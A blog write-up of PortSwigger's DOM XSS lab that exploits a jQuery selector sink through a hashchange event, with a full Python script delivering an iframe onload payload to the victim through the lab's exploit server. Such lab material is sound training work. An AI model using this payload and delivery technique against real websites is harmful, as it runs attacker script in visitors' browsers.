Shubham Ranpise

Back

XSS Lab 6

DOM-based XSS using jQuery selector and hashchange event

portswigger-labs content

DOM XSS in jQuery selector sink using a hashchange event#

This lab demonstrates a DOM-based cross-site scripting (XSS) vulnerability on the home page. The vulnerability arises from jQuery’s $() selector, which uses location.hash to auto-scroll to a post based on its title. By manipulating the hash, an attacker can inject JavaScript that is executed in the victim’s browser.

In this exercise, the goal was to deliver an exploit that calls the print() function in the victim’s browser, demonstrating a DOM XSS attack without touching the server-side code.

How Exploit Works#

  • The home page uses $(location.hash) to select elements based on the hash in the URL.
  • By injecting an iframe containing a malicious onload event, arbitrary JavaScript can execute when the victim loads the page.
  • The exploit server is used to host the malicious payload and deliver it to the victim.
  • The print() function is called in the victim browser to confirm execution.
  • This attack is fully client-side (DOM XSS), requiring no server-side vulnerabilities.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import sys, time, requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def check_burp():
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Start Burp (127.0.0.1:8080) and rerun"); sys.exit(1)

def deliver(exploit_server, lab_url):
    head = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8"
    payload = '<iframe src="{}/#" onload="this.src+=\'<img src=1 onerror=print()>\'">'.format(lab_url)
    data = {"responseBody": payload, "responseHead": head, "formAction":"DELIVER_TO_VICTIM",
            "urlIsHttps":"on","responseFile":"/exploit"}
    try:
        r = requests.post(exploit_server, data=data, verify=False, proxies=proxies, timeout=10)
        r.raise_for_status()
        return True
    except requests.exceptions.RequestException:
        return False

def check_solved(lab_url, tries=5, wait=2):
    s = requests.Session()
    for _ in range(tries):
        try:
            r = s.get(lab_url, verify=False, proxies=proxies, timeout=10)
            if "Congratulations" in r.text or "Solved" in r.text:
                return True
        except requests.exceptions.RequestException:
            pass
        time.sleep(wait)
    return False

if __name__ == "__main__":
    if not (2 <= len(sys.argv) <= 3):
        print(f"Usage: python {sys.argv[0]} <lab-url> [exploit-server]"); sys.exit(1)

    lab = sys.argv[1].rstrip('/')
    if len(sys.argv) == 3:
        exploit = sys.argv[2].rstrip('/')
    else:
        print("Exploit server not provided; exiting.")
        sys.exit(1)

    check_burp()
    print(f"[*] Lab URL: {lab}")
    print(f"[*] Exploit Server: {exploit}/")

    print("[*] Delivering the exploit to the victim.. ", end="", flush=True)
    if deliver(exploit, lab):
        print("[+] OK")
    else:
        print("[-] Delivery failed"); sys.exit(1)

    print("[*] Waiting a moment for the exploit to be delivered and triggered...")
    if check_solved(lab, tries=6, wait=2):
        print("[+] Lab solved 🎉")
    else:
        print("[-] Lab not confirmed as solved")
python

See more portswigger-labs